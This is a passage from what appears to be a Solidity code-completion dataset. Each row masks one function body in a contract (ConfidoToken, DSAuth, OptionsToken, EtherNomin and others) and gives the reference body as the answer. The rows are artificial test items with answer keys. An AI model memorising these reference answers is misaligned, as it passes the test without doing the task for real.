signersResult[i] = [ i + offset, uint(signerAddress), isSigner[signerAddress] ? 1 : 0 ];
}
}
function getScriptsCount() view external returns (uint scriptsCount) {
return scriptAddresses.length;
}
// UI helper fx - Returns scripts from offset as
// [scriptId (index in scriptAddresses[]), address as uint, state, signCount]
function getAllScripts(uint offset) external view returns(uint[4][CHUNK_SIZE] scriptsResult) {
for (uint8 i = 0; i < CHUNK_SIZE && i + offset < scriptAddresses.length; i++) {
address scriptAddress = scriptAddresses[i + offset];
scriptsResult[i] = [ i + offset, uint(scriptAddress), uint(scripts[scriptAddress].state),
scripts[scriptAddress].signCount ];
}
}
} |
require(msg.sender == address(this), "only callable via MultiSig");
Script storage script = scripts[scriptAddress];
require(script.state == ScriptState.Approved || script.state == ScriptState.New,
"script state must be New or Approved");
script.state= ScriptState.Cancelled;
emit ScriptCancelled(scriptAddress);
| function cancelScript(address scriptAddress) public | function cancelScript(address scriptAddress) public |
22404 | ConfidoToken | ConfidoToken | contract ConfidoToken {
/* Public variables of the token */
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* Initializes contract with initial supply tokens to the creator of the contract */
function ConfidoToken() {<FILL_FUNCTION_BODY> }
/* Send coins */
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
balanceOf[msg.sender] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
}
/* This unnamed function is called whenever someone tries to send ether to it */
function () {
throw; // Prevents accidental sending of ether
}
} | contract ConfidoToken {
/* Public variables of the token */
string public standard = 'Token 0.1';
string public name;
string public symbol;
uint8 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
/* This creates an array with all balances */
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
<FILL_FUNCTION>
/* Send coins */
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) throw; // Check if the sender has enough
if (balanceOf[_to] + _value < balanceOf[_to]) throw; // Check for overflows
balanceOf[msg.sender] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
}
/* This unnamed function is called whenever someone tries to send ether to it */
function () {
throw; // Prevents accidental sending of ether
}
} |
initialSupply = 1500000000000000;
name ="Confido Token";
decimals = 8;
symbol = "CFD";
balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens
totalSupply = initialSupply; // Update total supply
| function ConfidoToken() | /* Initializes contract with initial supply tokens to the creator of the contract */
function ConfidoToken() |
76378 | DSAuth | isAuthorized | contract DSAuth is DSAuthEvents {
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
modifier auth {
require(isAuthorized(msg.sender));
_;
}
function isAuthorized(address src) internal view returns (bool) {<FILL_FUNCTION_BODY> }
} | contract DSAuth is DSAuthEvents {
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
modifier auth {
require(isAuthorized(msg.sender));
_;
}
<FILL_FUNCTION>
} |
if (src == owner) {
return true;
} else {
return false;
}
| function isAuthorized(address src) internal view returns (bool) | function isAuthorized(address src) internal view returns (bool) |
15747 | OptionsToken | doneOptions | contract OptionsToken is StandardToken, Ownable {
using SafeMath for uint256;
bool revertable = true;
mapping (address => uint256) public optionsOwner;
modifier hasOptionPermision() {
require(msg.sender == owner);
_;
}
function storeOptions(address recipient, uint256 amount) public hasOptionPermision() {
optionsOwner[recipient] += amount;
}
function refundOptions(address discharged) public onlyOwner() returns (bool) {
require(revertable);
require(optionsOwner[discharged] > 0);
require(optionsOwner[discharged] <= balances[discharged]);
uint256 revertTokens = optionsOwner[discharged];
optionsOwner[discharged] = 0;
balances[discharged] = balances[discharged].sub(revertTokens);
balances[owner] = balances[owner].add(revertTokens);
emit Transfer(discharged, owner, revertTokens);
return true;
}
function doneOptions() public onlyOwner() {<FILL_FUNCTION_BODY> }
} | contract OptionsToken is StandardToken, Ownable {
using SafeMath for uint256;
bool revertable = true;
mapping (address => uint256) public optionsOwner;
modifier hasOptionPermision() {
require(msg.sender == owner);
_;
}
function storeOptions(address recipient, uint256 amount) public hasOptionPermision() {
optionsOwner[recipient] += amount;
}
function refundOptions(address discharged) public onlyOwner() returns (bool) {
require(revertable);
require(optionsOwner[discharged] > 0);
require(optionsOwner[discharged] <= balances[discharged]);
uint256 revertTokens = optionsOwner[discharged];
optionsOwner[discharged] = 0;
balances[discharged] = balances[discharged].sub(revertTokens);
balances[owner] = balances[owner].add(revertTokens);
emit Transfer(discharged, owner, revertTokens);
return true;
}
<FILL_FUNCTION>
} |
require(revertable);
revertable = false;
| function doneOptions() public onlyOwner() | function doneOptions() public onlyOwner() |
14756 | EtherNomin | EtherNomin | contract EtherNomin is ExternStateProxyFeeToken {
/* ========== STATE VARIABLES ========== */
// The oracle provides price information to this contract.
// It may only call the updatePrice() function.
address public oracle;
// The address of the contract which manages confiscation votes.
Court public court;
// Foundation wallet for funds to go to post liquidation.
address public beneficiary;
// Nomins in the pool ready to be sold.
uint public nominPool;
// Impose a 50 basis-point fee for buying from and selling to the nomin pool.
uint public poolFeeRate = UNIT / 200;
// The minimum purchasable quantity of nomins is 1 cent.
uint constant MINIMUM_PURCHASE = UNIT / 100;
// When issuing, nomins must be overcollateralised by this ratio.
uint constant MINIMUM_ISSUANCE_RATIO = 2 * UNIT;
// If the collateralisation ratio of the contract falls below this level,
// immediately begin liquidation.
uint constant AUTO_LIQUIDATION_RATIO = UNIT;
// The liquidation period is the duration that must pass before the liquidation period is complete.
// It can be extended up to a given duration.
uint constant DEFAULT_LIQUIDATION_PERIOD = 90 days;
uint constant MAX_LIQUIDATION_PERIOD = 180 days;
uint public liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD;
// The timestamp when liquidation was activated. We initialise this to
// uint max, so that we know that we are under liquidation if the
// liquidation timestamp is in the past.
uint public liquidationTimestamp = ~uint(0);
// Ether price from oracle (fiat per ether).
uint public etherPrice;
// Last time the price was updated.
uint public lastPriceUpdate;
// The period it takes for the price to be considered stale.
// If the price is stale, functions that require the price are disabled.
uint public stalePeriod = 2 days;
// Accounts which have lost the privilege to transact in nomins.
mapping(address => bool) public frozen;
/* ========== CONSTRUCTOR ========== */
function EtherNomin(address _havven, address _oracle,
address _beneficiary,
uint initialEtherPrice,
address _owner, TokenState initialState)
ExternStateProxyFeeToken("Ether-Backed USD Nomins", "eUSD",
15 * UNIT / 10000, // nomin transfers incur a 15 bp fee
_havven, // the havven contract is the fee authority
initialState,
_owner)
public
{<FILL_FUNCTION_BODY> }
/* ========== SETTERS ========== */
function setOracle(address _oracle)
external
optionalProxy_onlyOwner
{
oracle = _oracle;
emit OracleUpdated(_oracle);
}
function setCourt(Court _court)
external
optionalProxy_onlyOwner
{
court = _court;
emit CourtUpdated(_court);
}
function setBeneficiary(address _beneficiary)
external
optionalProxy_onlyOwner
{
beneficiary = _beneficiary;
emit BeneficiaryUpdated(_beneficiary);
}
function setPoolFeeRate(uint _poolFeeRate)
external
optionalProxy_onlyOwner
{
require(_poolFeeRate <= UNIT);
poolFeeRate = _poolFeeRate;
emit PoolFeeRateUpdated(_poolFeeRate);
}
function setStalePeriod(uint _stalePeriod)
external
optionalProxy_onlyOwner
{
stalePeriod = _stalePeriod;
emit StalePeriodUpdated(_stalePeriod);
}
/* ========== VIEW FUNCTIONS ========== */
/* Return the equivalent fiat value of the given quantity
* of ether at the current price.
* Reverts if the price is stale. */
function fiatValue(uint eth)
public
view
priceNotStale
returns (uint)
{
return safeMul_dec(eth, etherPrice);
}
/* Return the current fiat value of the contract's balance.
* Reverts if the price is stale. */
function fiatBalance()
public
view
returns (uint)
{
// Price staleness check occurs inside the call to fiatValue.
return fiatValue(address(this).balance);
}
/* Return the equivalent ether value of the given quantity
* of fiat at the current price.
* Reverts if the price is stale. */
function etherValue(uint fiat)
public
view
priceNotStale
returns (uint)
{
return safeDiv_dec(fiat, etherPrice);
}
/* The same as etherValue(), but without the stale price check. */
function etherValueAllowStale(uint fiat)
internal
view
returns (uint)
{
return safeDiv_dec(fiat, etherPrice);
}
/* Return the units of fiat per nomin in the supply.
* Reverts if the price is stale. */
function collateralisationRatio()
public
view
returns (uint)
{
return safeDiv_dec(fiatBalance(), _nominCap());
}
/* Return the maximum number of extant nomins,
* equal to the nomin pool plus total (circulating) supply. */
function _nominCap()
internal
view
returns (uint)
{
return safeAdd(nominPool, totalSupply);
}
/* Return the fee charged on a purchase or sale of n nomins. */
function poolFeeIncurred(uint n)
public
view
returns (uint)
{
return safeMul_dec(n, poolFeeRate);
}
/* Return the fiat cost (including fee) of purchasing n nomins.
* Nomins are purchased for $1, plus the fee. */
function purchaseCostFiat(uint n)
public
view
returns (uint)
{
return safeAdd(n, poolFeeIncurred(n));
}
/* Return the ether cost (including fee) of purchasing n nomins.
* Reverts if the price is stale. */
function purchaseCostEther(uint n)
public
view
returns (uint)
{
// Price staleness check occurs inside the call to etherValue.
return etherValue(purchaseCostFiat(n));
}
/* Return the fiat proceeds (less the fee) of selling n nomins.
* Nomins are sold for $1, minus the fee. */
function saleProceedsFiat(uint n)
public
view
returns (uint)
{
return safeSub(n, poolFeeIncurred(n));
}
/* Return the ether proceeds (less the fee) of selling n
* nomins.
* Reverts if the price is stale. */
function saleProceedsEther(uint n)
public
view
returns (uint)
{
// Price staleness check occurs inside the call to etherValue.
return etherValue(saleProceedsFiat(n));
}
/* The same as saleProceedsEther(), but without the stale price check. */
function saleProceedsEtherAllowStale(uint n)
internal
view
returns (uint)
{
return etherValueAllowStale(saleProceedsFiat(n));
}
/* True iff the current block timestamp is later than the time
* the price was last updated, plus the stale period. */
function priceIsStale()
public
view
returns (bool)
{
return safeAdd(lastPriceUpdate, stalePeriod) < now;
}
function isLiquidating()
public
view
returns (bool)
{
return liquidationTimestamp <= now;
}
/* True if the contract is self-destructible.
* This is true if either the complete liquidation period has elapsed,
* or if all tokens have been returned to the contract and it has been
* in liquidation for at least a week.
* Since the contract is only destructible after the liquidationTimestamp,
* a fortiori canSelfDestruct() implies isLiquidating(). */
function canSelfDestruct()
public
view
returns (bool)
{
// Not being in liquidation implies the timestamp is uint max, so it would roll over.
// We need to check whether we're in liquidation first.
if (isLiquidating()) {
// These timestamps and durations have values clamped within reasonable values and
// cannot overflow.
bool totalPeriodElapsed = liquidationTimestamp + liquidationPeriod < now;
// Total supply of 0 means all tokens have returned to the pool.
bool allTokensReturned = (liquidationTimestamp + 1 weeks < now) && (totalSupply == 0);
return totalPeriodElapsed || allTokensReturned;
}
return false;
}
/* ========== MUTATIVE FUNCTIONS ========== */
/* Override ERC20 transfer function in order to check
* whether the recipient account is frozen. Note that there is
* no need to check whether the sender has a frozen account,
* since their funds have already been confiscated,
* and no new funds can be transferred to it.*/
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transfer_byProxy(messageSender, to, value);
}
/* Override ERC20 transferFrom function in order to check
* whether the recipient account is frozen. */
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transferFrom_byProxy(messageSender, from, to, value);
}
/* Update the current ether price and update the last updated time,
* refreshing the price staleness.
* Also checks whether the contract's collateral levels have fallen to low,
* and initiates liquidation if that is the case.
* Exceptional conditions:
* Not called by the oracle.
* Not the most recently sent price. */
function updatePrice(uint price, uint timeSent)
external
postCheckAutoLiquidate
{
// Should be callable only by the oracle.
require(msg.sender == oracle);
// Must be the most recently sent price, but not too far in the future.
// (so we can't lock ourselves out of updating the oracle for longer than this)
require(lastPriceUpdate < timeSent && timeSent < now + 10 minutes);
etherPrice = price;
lastPriceUpdate = timeSent;
emit PriceUpdated(price);
}
/* Issues n nomins into the pool available to be bought by users.
* Must be accompanied by $n worth of ether.
* Exceptional conditions:
* Not called by contract owner.
* Insufficient backing funds provided (post-issuance collateralisation below minimum requirement).
* Price is stale. */
function replenishPool(uint n)
external
payable
notLiquidating
optionalProxy_onlyOwner
{
// Price staleness check occurs inside the call to fiatBalance.
// Safe additions are unnecessary here, as either the addition is checked on the following line
// or the overflow would cause the requirement not to be satisfied.
require(fiatBalance() >= safeMul_dec(safeAdd(_nominCap(), n), MINIMUM_ISSUANCE_RATIO));
nominPool = safeAdd(nominPool, n);
emit PoolReplenished(n, msg.value);
}
/* Burns n nomins from the pool.
* Exceptional conditions:
* Not called by contract owner.
* There are fewer than n nomins in the pool. */
function diminishPool(uint n)
external
optionalProxy_onlyOwner
{
// Require that there are enough nomins in the accessible pool to burn
require(nominPool >= n);
nominPool = safeSub(nominPool, n);
emit PoolDiminished(n);
}
/* Sends n nomins to the sender from the pool, in exchange for
* $n plus the fee worth of ether.
* Exceptional conditions:
* Insufficient or too many funds provided.
* More nomins requested than are in the pool.
* n below the purchase minimum (1 cent).
* contract in liquidation.
* Price is stale. */
function buy(uint n)
external
payable
notLiquidating
optionalProxy
{
// Price staleness check occurs inside the call to purchaseEtherCost.
require(n >= MINIMUM_PURCHASE &&
msg.value == purchaseCostEther(n));
address sender = messageSender;
// sub requires that nominPool >= n
nominPool = safeSub(nominPool, n);
state.setBalanceOf(sender, safeAdd(state.balanceOf(sender), n));
emit Purchased(sender, sender, n, msg.value);
emit Transfer(0, sender, n);
totalSupply = safeAdd(totalSupply, n);
}
/* Sends n nomins to the pool from the sender, in exchange for
* $n minus the fee worth of ether.
* Exceptional conditions:
* Insufficient nomins in sender's wallet.
* Insufficient funds in the pool to pay sender.
* Price is stale if not in liquidation. */
function sell(uint n)
external
optionalProxy
{
// Price staleness check occurs inside the call to saleProceedsEther,
// but we allow people to sell their nomins back to the system
// if we're in liquidation, regardless.
uint proceeds;
if (isLiquidating()) {
proceeds = saleProceedsEtherAllowStale(n);
} else {
proceeds = saleProceedsEther(n);
}
require(address(this).balance >= proceeds);
address sender = messageSender;
// sub requires that the balance is greater than n
state.setBalanceOf(sender, safeSub(state.balanceOf(sender), n));
nominPool = safeAdd(nominPool, n);
emit Sold(sender, sender, n, proceeds);
emit Transfer(sender, 0, n);
totalSupply = safeSub(totalSupply, n);
sender.transfer(proceeds);
}
/* Lock nomin purchase function in preparation for destroying the contract.
* While the contract is under liquidation, users may sell nomins back to the system.
* After liquidation period has terminated, the contract may be self-destructed,
* returning all remaining ether to the beneficiary address.
* Exceptional cases:
* Not called by contract owner;
* contract already in liquidation; */
function forceLiquidation()
external
notLiquidating
optionalProxy_onlyOwner
{
beginLiquidation();
}
function beginLiquidation()
internal
{
liquidationTimestamp = now;
emit LiquidationBegun(liquidationPeriod);
}
/* If the contract is liquidating, the owner may extend the liquidation period.
* It may only get longer, not shorter, and it may not be extended past
* the liquidation max. */
function extendLiquidationPeriod(uint extension)
external
optionalProxy_onlyOwner
{
require(isLiquidating());
uint sum = safeAdd(liquidationPeriod, extension);
require(sum <= MAX_LIQUIDATION_PERIOD);
liquidationPeriod = sum;
emit LiquidationExtended(extension);
}
/* Liquidation can only be stopped if the collateralisation ratio
* of this contract has recovered above the automatic liquidation
* threshold, for example if the ether price has increased,
* or by including enough ether in this transaction. */
function terminateLiquidation()
external
payable
priceNotStale
optionalProxy_onlyOwner
{
require(isLiquidating());
require(_nominCap() == 0 || collateralisationRatio() >= AUTO_LIQUIDATION_RATIO);
liquidationTimestamp = ~uint(0);
liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD;
emit LiquidationTerminated();
}
/* The owner may destroy this contract, returning all funds back to the beneficiary
* wallet, may only be called after the contract has been in
* liquidation for at least liquidationPeriod, or all circulating
* nomins have been sold back into the pool. */
function selfDestruct()
external
optionalProxy_onlyOwner
{
require(canSelfDestruct());
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
/* If a confiscation court motion has passed and reached the confirmation
* state, the court may transfer the target account's balance to the fee pool
* and freeze its participation in further transactions. */
function confiscateBalance(address target)
external
{
// Should be callable only by the confiscation court.
require(Court(msg.sender) == court);
// A motion must actually be underway.
uint motionID = court.targetMotionID(target);
require(motionID != 0);
// These checks are strictly unnecessary,
// since they are already checked in the court contract itself.
// I leave them in out of paranoia.
require(court.motionConfirming(motionID));
require(court.motionPasses(motionID));
require(!frozen[target]);
// Confiscate the balance in the account and freeze it.
uint balance = state.balanceOf(target);
state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), balance));
state.setBalanceOf(target, 0);
frozen[target] = true;
emit AccountFrozen(target, target, balance);
emit Transfer(target, address(this), balance);
}
/* The owner may allow a previously-frozen contract to once
* again accept and transfer nomins. */
function unfreezeAccount(address target)
external
optionalProxy_onlyOwner
{
if (frozen[target] && EtherNomin(target) != this) {
frozen[target] = false;
emit AccountUnfrozen(target, target);
}
}
/* Fallback function allows convenient collateralisation of the contract,
* including by non-foundation parties. */
function() public payable {}
/* ========== MODIFIERS ========== */
modifier notLiquidating
{
require(!isLiquidating());
_;
}
modifier priceNotStale
{
require(!priceIsStale());
_;
}
/* Any function modified by this will automatically liquidate
* the system if the collateral levels are too low.
* This is called on collateral-value/nomin-supply modifying functions that can
* actually move the contract into liquidation. This is really only
* the price update, since issuance requires that the contract is overcollateralised,
* burning can only destroy tokens without withdrawing backing, buying from the pool can only
* asymptote to a collateralisation level of unity, while selling into the pool can only
* increase the collateralisation ratio.
* Additionally, price update checks should/will occur frequently. */
modifier postCheckAutoLiquidate
{
_;
if (!isLiquidating() && _nominCap() != 0 && collateralisationRatio() < AUTO_LIQUIDATION_RATIO) {
beginLiquidation();
}
}
/* ========== EVENTS ========== */
event PoolReplenished(uint nominsCreated, uint collateralDeposited);
event PoolDiminished(uint nominsDestroyed);
event Purchased(address buyer, address indexed buyerIndex, uint nomins, uint eth);
event Sold(address seller, address indexed sellerIndex, uint nomins, uint eth);
event PriceUpdated(uint newPrice);
event StalePeriodUpdated(uint newPeriod);
event OracleUpdated(address newOracle);
event CourtUpdated(address newCourt);
event BeneficiaryUpdated(address newBeneficiary);
event LiquidationBegun(uint duration);
event LiquidationTerminated();
event LiquidationExtended(uint extension);
event PoolFeeRateUpdated(uint newFeeRate);
event SelfDestructed(address beneficiary);
event AccountFrozen(address target, address indexed targetIndex, uint balance);
event AccountUnfrozen(address target, address indexed targetIndex);
} | contract EtherNomin is ExternStateProxyFeeToken {
/* ========== STATE VARIABLES ========== */
// The oracle provides price information to this contract.
// It may only call the updatePrice() function.
address public oracle;
// The address of the contract which manages confiscation votes.
Court public court;
// Foundation wallet for funds to go to post liquidation.
address public beneficiary;
// Nomins in the pool ready to be sold.
uint public nominPool;
// Impose a 50 basis-point fee for buying from and selling to the nomin pool.
uint public poolFeeRate = UNIT / 200;
// The minimum purchasable quantity of nomins is 1 cent.
uint constant MINIMUM_PURCHASE = UNIT / 100;
// When issuing, nomins must be overcollateralised by this ratio.
uint constant MINIMUM_ISSUANCE_RATIO = 2 * UNIT;
// If the collateralisation ratio of the contract falls below this level,
// immediately begin liquidation.
uint constant AUTO_LIQUIDATION_RATIO = UNIT;
// The liquidation period is the duration that must pass before the liquidation period is complete.
// It can be extended up to a given duration.
uint constant DEFAULT_LIQUIDATION_PERIOD = 90 days;
uint constant MAX_LIQUIDATION_PERIOD = 180 days;
uint public liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD;
// The timestamp when liquidation was activated. We initialise this to
// uint max, so that we know that we are under liquidation if the
// liquidation timestamp is in the past.
uint public liquidationTimestamp = ~uint(0);
// Ether price from oracle (fiat per ether).
uint public etherPrice;
// Last time the price was updated.
uint public lastPriceUpdate;
// The period it takes for the price to be considered stale.
// If the price is stale, functions that require the price are disabled.
uint public stalePeriod = 2 days;
// Accounts which have lost the privilege to transact in nomins.
mapping(address => bool) public frozen;
<FILL_FUNCTION>
/* ========== SETTERS ========== */
function setOracle(address _oracle)
external
optionalProxy_onlyOwner
{
oracle = _oracle;
emit OracleUpdated(_oracle);
}
function setCourt(Court _court)
external
optionalProxy_onlyOwner
{
court = _court;
emit CourtUpdated(_court);
}
function setBeneficiary(address _beneficiary)
external
optionalProxy_onlyOwner
{
beneficiary = _beneficiary;
emit BeneficiaryUpdated(_beneficiary);
}
function setPoolFeeRate(uint _poolFeeRate)
external
optionalProxy_onlyOwner
{
require(_poolFeeRate <= UNIT);
poolFeeRate = _poolFeeRate;
emit PoolFeeRateUpdated(_poolFeeRate);
}
function setStalePeriod(uint _stalePeriod)
external
optionalProxy_onlyOwner
{
stalePeriod = _stalePeriod;
emit StalePeriodUpdated(_stalePeriod);
}
/* ========== VIEW FUNCTIONS ========== */
/* Return the equivalent fiat value of the given quantity
* of ether at the current price.
* Reverts if the price is stale. */
function fiatValue(uint eth)
public
view
priceNotStale
returns (uint)
{
return safeMul_dec(eth, etherPrice);
}
/* Return the current fiat value of the contract's balance.
* Reverts if the price is stale. */
function fiatBalance()
public
view
returns (uint)
{
// Price staleness check occurs inside the call to fiatValue.
return fiatValue(address(this).balance);
}
/* Return the equivalent ether value of the given quantity
* of fiat at the current price.
* Reverts if the price is stale. */
function etherValue(uint fiat)
public
view
priceNotStale
returns (uint)
{
return safeDiv_dec(fiat, etherPrice);
}
/* The same as etherValue(), but without the stale price check. */
function etherValueAllowStale(uint fiat)
internal
view
returns (uint)
{
return safeDiv_dec(fiat, etherPrice);
}
/* Return the units of fiat per nomin in the supply.
* Reverts if the price is stale. */
function collateralisationRatio()
public
view
returns (uint)
{
return safeDiv_dec(fiatBalance(), _nominCap());
}
/* Return the maximum number of extant nomins,
* equal to the nomin pool plus total (circulating) supply. */
function _nominCap()
internal
view
returns (uint)
{
return safeAdd(nominPool, totalSupply);
}
/* Return the fee charged on a purchase or sale of n nomins. */
function poolFeeIncurred(uint n)
public
view
returns (uint)
{
return safeMul_dec(n, poolFeeRate);
}
/* Return the fiat cost (including fee) of purchasing n nomins.
* Nomins are purchased for $1, plus the fee. */
function purchaseCostFiat(uint n)
public
view
returns (uint)
{
return safeAdd(n, poolFeeIncurred(n));
}
/* Return the ether cost (including fee) of purchasing n nomins.
* Reverts if the price is stale. */
function purchaseCostEther(uint n)
public
view
returns (uint)
{
// Price staleness check occurs inside the call to etherValue.
return etherValue(purchaseCostFiat(n));
}
/* Return the fiat proceeds (less the fee) of selling n nomins.
* Nomins are sold for $1, minus the fee. */
function saleProceedsFiat(uint n)
public
view
returns (uint)
{
return safeSub(n, poolFeeIncurred(n));
}
/* Return the ether proceeds (less the fee) of selling n
* nomins.
* Reverts if the price is stale. */
function saleProceedsEther(uint n)
public
view
returns (uint)
{
// Price staleness check occurs inside the call to etherValue.
return etherValue(saleProceedsFiat(n));
}
/* The same as saleProceedsEther(), but without the stale price check. */
function saleProceedsEtherAllowStale(uint n)
internal
view
returns (uint)
{
return etherValueAllowStale(saleProceedsFiat(n));
}
/* True iff the current block timestamp is later than the time
* the price was last updated, plus the stale period. */
function priceIsStale()
public
view
returns (bool)
{
return safeAdd(lastPriceUpdate, stalePeriod) < now;
}
function isLiquidating()
public
view
returns (bool)
{
return liquidationTimestamp <= now;
}
/* True if the contract is self-destructible.
* This is true if either the complete liquidation period has elapsed,
* or if all tokens have been returned to the contract and it has been
* in liquidation for at least a week.
* Since the contract is only destructible after the liquidationTimestamp,
* a fortiori canSelfDestruct() implies isLiquidating(). */
function canSelfDestruct()
public
view
returns (bool)
{
// Not being in liquidation implies the timestamp is uint max, so it would roll over.
// We need to check whether we're in liquidation first.
if (isLiquidating()) {
// These timestamps and durations have values clamped within reasonable values and
// cannot overflow.
bool totalPeriodElapsed = liquidationTimestamp + liquidationPeriod < now;
// Total supply of 0 means all tokens have returned to the pool.
bool allTokensReturned = (liquidationTimestamp + 1 weeks < now) && (totalSupply == 0);
return totalPeriodElapsed || allTokensReturned;
}
return false;
}
/* ========== MUTATIVE FUNCTIONS ========== */
/* Override ERC20 transfer function in order to check
* whether the recipient account is frozen. Note that there is
* no need to check whether the sender has a frozen account,
* since their funds have already been confiscated,
* and no new funds can be transferred to it.*/
function transfer(address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transfer_byProxy(messageSender, to, value);
}
/* Override ERC20 transferFrom function in order to check
* whether the recipient account is frozen. */
function transferFrom(address from, address to, uint value)
public
optionalProxy
returns (bool)
{
require(!frozen[to]);
return _transferFrom_byProxy(messageSender, from, to, value);
}
/* Update the current ether price and update the last updated time,
* refreshing the price staleness.
* Also checks whether the contract's collateral levels have fallen to low,
* and initiates liquidation if that is the case.
* Exceptional conditions:
* Not called by the oracle.
* Not the most recently sent price. */
function updatePrice(uint price, uint timeSent)
external
postCheckAutoLiquidate
{
// Should be callable only by the oracle.
require(msg.sender == oracle);
// Must be the most recently sent price, but not too far in the future.
// (so we can't lock ourselves out of updating the oracle for longer than this)
require(lastPriceUpdate < timeSent && timeSent < now + 10 minutes);
etherPrice = price;
lastPriceUpdate = timeSent;
emit PriceUpdated(price);
}
/* Issues n nomins into the pool available to be bought by users.
* Must be accompanied by $n worth of ether.
* Exceptional conditions:
* Not called by contract owner.
* Insufficient backing funds provided (post-issuance collateralisation below minimum requirement).
* Price is stale. */
function replenishPool(uint n)
external
payable
notLiquidating
optionalProxy_onlyOwner
{
// Price staleness check occurs inside the call to fiatBalance.
// Safe additions are unnecessary here, as either the addition is checked on the following line
// or the overflow would cause the requirement not to be satisfied.
require(fiatBalance() >= safeMul_dec(safeAdd(_nominCap(), n), MINIMUM_ISSUANCE_RATIO));
nominPool = safeAdd(nominPool, n);
emit PoolReplenished(n, msg.value);
}
/* Burns n nomins from the pool.
* Exceptional conditions:
* Not called by contract owner.
* There are fewer than n nomins in the pool. */
function diminishPool(uint n)
external
optionalProxy_onlyOwner
{
// Require that there are enough nomins in the accessible pool to burn
require(nominPool >= n);
nominPool = safeSub(nominPool, n);
emit PoolDiminished(n);
}
/* Sends n nomins to the sender from the pool, in exchange for
* $n plus the fee worth of ether.
* Exceptional conditions:
* Insufficient or too many funds provided.
* More nomins requested than are in the pool.
* n below the purchase minimum (1 cent).
* contract in liquidation.
* Price is stale. */
function buy(uint n)
external
payable
notLiquidating
optionalProxy
{
// Price staleness check occurs inside the call to purchaseEtherCost.
require(n >= MINIMUM_PURCHASE &&
msg.value == purchaseCostEther(n));
address sender = messageSender;
// sub requires that nominPool >= n
nominPool = safeSub(nominPool, n);
state.setBalanceOf(sender, safeAdd(state.balanceOf(sender), n));
emit Purchased(sender, sender, n, msg.value);
emit Transfer(0, sender, n);
totalSupply = safeAdd(totalSupply, n);
}
/* Sends n nomins to the pool from the sender, in exchange for
* $n minus the fee worth of ether.
* Exceptional conditions:
* Insufficient nomins in sender's wallet.
* Insufficient funds in the pool to pay sender.
* Price is stale if not in liquidation. */
function sell(uint n)
external
optionalProxy
{
// Price staleness check occurs inside the call to saleProceedsEther,
// but we allow people to sell their nomins back to the system
// if we're in liquidation, regardless.
uint proceeds;
if (isLiquidating()) {
proceeds = saleProceedsEtherAllowStale(n);
} else {
proceeds = saleProceedsEther(n);
}
require(address(this).balance >= proceeds);
address sender = messageSender;
// sub requires that the balance is greater than n
state.setBalanceOf(sender, safeSub(state.balanceOf(sender), n));
nominPool = safeAdd(nominPool, n);
emit Sold(sender, sender, n, proceeds);
emit Transfer(sender, 0, n);
totalSupply = safeSub(totalSupply, n);
sender.transfer(proceeds);
}
/* Lock nomin purchase function in preparation for destroying the contract.
* While the contract is under liquidation, users may sell nomins back to the system.
* After liquidation period has terminated, the contract may be self-destructed,
* returning all remaining ether to the beneficiary address.
* Exceptional cases:
* Not called by contract owner;
* contract already in liquidation; */
function forceLiquidation()
external
notLiquidating
optionalProxy_onlyOwner
{
beginLiquidation();
}
function beginLiquidation()
internal
{
liquidationTimestamp = now;
emit LiquidationBegun(liquidationPeriod);
}
/* If the contract is liquidating, the owner may extend the liquidation period.
* It may only get longer, not shorter, and it may not be extended past
* the liquidation max. */
function extendLiquidationPeriod(uint extension)
external
optionalProxy_onlyOwner
{
require(isLiquidating());
uint sum = safeAdd(liquidationPeriod, extension);
require(sum <= MAX_LIQUIDATION_PERIOD);
liquidationPeriod = sum;
emit LiquidationExtended(extension);
}
/* Liquidation can only be stopped if the collateralisation ratio
* of this contract has recovered above the automatic liquidation
* threshold, for example if the ether price has increased,
* or by including enough ether in this transaction. */
function terminateLiquidation()
external
payable
priceNotStale
optionalProxy_onlyOwner
{
require(isLiquidating());
require(_nominCap() == 0 || collateralisationRatio() >= AUTO_LIQUIDATION_RATIO);
liquidationTimestamp = ~uint(0);
liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD;
emit LiquidationTerminated();
}
/* The owner may destroy this contract, returning all funds back to the beneficiary
* wallet, may only be called after the contract has been in
* liquidation for at least liquidationPeriod, or all circulating
* nomins have been sold back into the pool. */
function selfDestruct()
external
optionalProxy_onlyOwner
{
require(canSelfDestruct());
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
/* If a confiscation court motion has passed and reached the confirmation
* state, the court may transfer the target account's balance to the fee pool
* and freeze its participation in further transactions. */
function confiscateBalance(address target)
external
{
// Should be callable only by the confiscation court.
require(Court(msg.sender) == court);
// A motion must actually be underway.
uint motionID = court.targetMotionID(target);
require(motionID != 0);
// These checks are strictly unnecessary,
// since they are already checked in the court contract itself.
// I leave them in out of paranoia.
require(court.motionConfirming(motionID));
require(court.motionPasses(motionID));
require(!frozen[target]);
// Confiscate the balance in the account and freeze it.
uint balance = state.balanceOf(target);
state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), balance));
state.setBalanceOf(target, 0);
frozen[target] = true;
emit AccountFrozen(target, target, balance);
emit Transfer(target, address(this), balance);
}
/* The owner may allow a previously-frozen contract to once
